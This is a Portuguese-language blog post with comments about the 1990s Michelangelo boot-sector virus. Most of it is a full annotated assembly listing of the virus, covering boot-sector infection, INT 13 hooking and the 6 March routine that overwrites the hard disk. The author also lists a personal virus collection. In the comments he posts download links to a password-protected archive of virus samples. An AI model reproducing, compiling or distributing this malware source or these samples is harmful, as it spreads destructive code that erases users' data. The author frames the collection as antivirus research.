Durante a pesquisa que fiz para escrever o artigo sobre o
Stuxnet, lembrei de um vírus que, na sua época (anos 90) fez muito "sucesso": o
Michelangelo.
Ele contaminava os computadores através do setor de boot de um disquete infectado. E se, por acaso, você estivesse num computador contaminado e fosse dia 6 de março (aniversário de nascimento de Michelangelo), era melhor torcer para seu backup estar em dia.
Para quem gosta do assunto, aqui eu tenho a tradução de um artigo por Laércio Civali (São Paulo, Maio, 15, 1993.), da PC Magazine Vol.12, #6, March 30, 1993, page 311, do original: Viruses: How They Work and How to Avoid Them, by Jeff Prosise. O artigo, apesar de ter quase 20 anos, mostra com detalhes como o vírus se propaga. Como já devem imaginar, é bem técnico.
Agora vem a parte boa: o código (assembler) comentado (por mim) do vírus.
JMP Contamina
Principal:
CMC
ADD [BX+SI+029F],AL
ADD AX,[BX+SI]
Loop1:
POP DI
MOV AX,[F000]
PUSH DS
PUSH AX
OR DL,DL
JNZ 012F
XOR AX,AX
MOV DS,AX
TEST BYTE PTR [043F],01 ; algum drive esta ligado?
JNZ Loop2 ; nao
POP AX
POP DS
PUSHF
CS:
CALL Loop1
PUSHF
CALL Salva
POPF
RETF 0002
Loop2:
POP AX
POP DS
CS:
JMP Loop1
Salva:
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH DS
PUSH ES
PUSH SI
PUSH DI
PUSH CS
POP DS
PUSH CS
POP ES
MOV SI,0004
PreparaSetor1:
MOV AX,0201
MOV BX,0200
MOV CX,0001
XOR DX,DX
PUSHF
CALL Loop1
JNB Label1
XOR AX,AX
PUSHF
CALL Loop1
DEC SI
JNZ PreparaSetor1
JMP Restaura
Label1:
XOR SI,SI
CLD
LODSW
CMP AX,[BX]
JNZ Label2
LODSW
CMP AX,[BX+02]
JZ Restaura
Label2:
MOV AX,0301
MOV DH,01
MOV CL,03
CMP BYTE PTR [BX+15],FD
JZ Label3
MOV CL,0E
Label3:
MOV [0008],CX
PUSHF
CALL Loop1
JB Restaura
MOV SI,03BE
MOV DI,01BE
MOV CX,0021
CLD
REPZ
MOVSW
MOV AX,0301
XOR BX,BX
MOV CX,0001
XOR DX,DX
PUSHF
CALL Loop1
Restaura:
POP DI
POP SI
POP ES
POP DS
POP DX
POP CX
POP BX
POP AX
RET
Contamina:
XOR AX,AX
MOV DS,AX
CLI
MOV SS,AX
MOV AX,7C00
MOV SP,AX
STI
PUSH DS
PUSH AX
MOV AX,[004C]
MOV [7C0A],AX
MOV AX,[004E]
MOV [7C0C],AX
MOV AX,[0413] ; tamanho da memoria
DEC AX ; subtrai 2K
DEC AX
MOV [0413],AX
MOV CL,06
SHL AX,CL
MOV ES,AX
MOV [7C05],AX
MOV AX,000E
MOV [004C],AX
MOV [004E],ES
MOV CX,01BE
MOV SI,7C00
XOR DI,DI
CLD
REPZ
MOVSB
CS:
JMP Principal
Label4:
XOR AX,AX
MOV ES,AX
INT 13
PUSH CS
POP DS
MOV AX,0201
MOV BX,7C00
MOV CX,[0008]
CMP CX,+07
JNZ Label5
MOV DX,0080
INT 13
JMP Aniversario
Label5:
MOV CX,[0008]
MOV DX,0100
INT 13
JB Aniversario
PUSH CS
POP ES
MOV AX,0201
MOV BX,0200
MOV CX,0001
MOV DX,0080
INT 13
JB Aniversario
XOR SI,SI
CLD
LODSW
CMP AX,[BX]
JNZ Label10
LODSW
CMP AX,[BX+02]
JNZ Label10
; verifica se a data e 06 de marco
Aniversario:
XOR CX,CX
MOV AH,04
INT 1A
CMP DX,0306
JZ Label6
RETF
; contamina o drive C:
Label6:
XOR DX,DX
MOV CX,0001 ; trilha 0, setor 1 (RMB)
Label7:
MOV AX,0309 ; escrever 9 setores
MOV SI,[0008]
CMP SI,+03
JZ Label8
MOV AL,0E
CMP SI,+0E
JZ Label8
MOV DL,80 ; drive C:
MOV BYTE PTR [0007],04
MOV AL,11 ; 17 setores
Label8:
MOV BX,5000 ; endereco do buffer
MOV ES,BX
INT 13
JNB Label9
XOR AH,AH
INT 13
Label9:
INC DH
CMP DH,[0007] ; escreveu nos 7 primeiros setores?
JB Label7 ; nao, continua
XOR DH,DH
INC CH ; incrementa a trilha
JMP Label7
Label10:
MOV CX,0007
MOV [0008],CX
MOV AX,0301
MOV DX,0080
INT 13
JB Aniversario
MOV SI,03BE
MOV DI,01BE
MOV CX,0021
REPZ
MOVSW
MOV AX,0301
XOR BX,BX
INC CL
INT 13
JMP Aniversario
Pensei em colocar uma cópia do vírus para download, mas acho que não seria muito bem visto. Enfim, se alguém quiser é só avisar que envio o arquivo com o vírus. Aliás, tenho alguns vírus armazenados em arquivo, uma verdadeira incubadora:
- ANTICMOS
- ANTIEXE
- Backdoor-G2.ldr (Pbrush.exe)
- Butthead (de minha própria autoria)
- Bye
- Daniela
- Leandro & Kelly
- Lizard
- MDMA
- Pretty Park - (Files32.vxd)
- QUOX
- Unshammed
- VLAD
- WAZZU
- win32mtx
- wininit
Pelo que lembro, alguns são arquivos contaminados, mas a maioria é código do vírus extraído direto do setor de boot ou do arquivo contaminado.
Alguns colecionam selos, outros tampinhas de garrafas, eu coleciono vírus! Na realidade eu tenho essa coleção de vírus pois estava desenvolvendo um antivírus e precisava analisar o código para encontrar a assinatura de cada um deles. Mas não deu para competir com a McAfee e o Norton, que eram os melhores (únicos?) antivírus na época. Se bem que o meu antivírus identificava todos esses aí...
Gostaria que o senhor me enviasse pois sou um pesquisador nesse ramo e gostaria de entender melhor esse código de máquina
ResponderExcluirOlá Diego. Vou verificar se ainda tenho o código nos meus backups e lhe dou um retorno.
ExcluirVeja se consegue baixar: https://sites.google.com/site/alexsetta/blog/mich.rar?attredirects=0&d=1
ExcluirAh sim, está com senha: virus
ExcluirMe ajudou tbm... obg
ExcluirDisponha!
ExcluirOlá, você poderia disponibilizar o arquivo compilado novamente?
ResponderExcluirVou procurar nos meus backups e disponibilizar novamente.
ExcluirColoquei aqui: https://mega.nz/file/qUA1lI6C#ui4XSm7_0gudjLSzkObEIguNnmQT-KV2EdcN7fL7gVM
ExcluirA senha do arquivo é "virus", sem aspas. Use com cuidado. O código é bem antigo mas nesse arquivo tem coisas interessantes.
Obrigado, consegui baixar e me surpreendi ao ver o Leandro&Kelly, faz tempo que não vejo esse nome, gosto muito de malware oldschool é muito bom poder rever e estudar os mesmos novamente depois de todos esses anos.
ExcluirEu encontrei o seu blog por uma pesquisa no google e gostei muito dele, ontem eu passei a noite dando olhada em alguns artigos e quando fui ver já era quase 5 da manhã rsrsrs, bom obrigado novamente por disponibilizar o arquivo e obrigado por manter esse blog, visto que cada vez mais blogs e fóruns estão ficando escassos na internet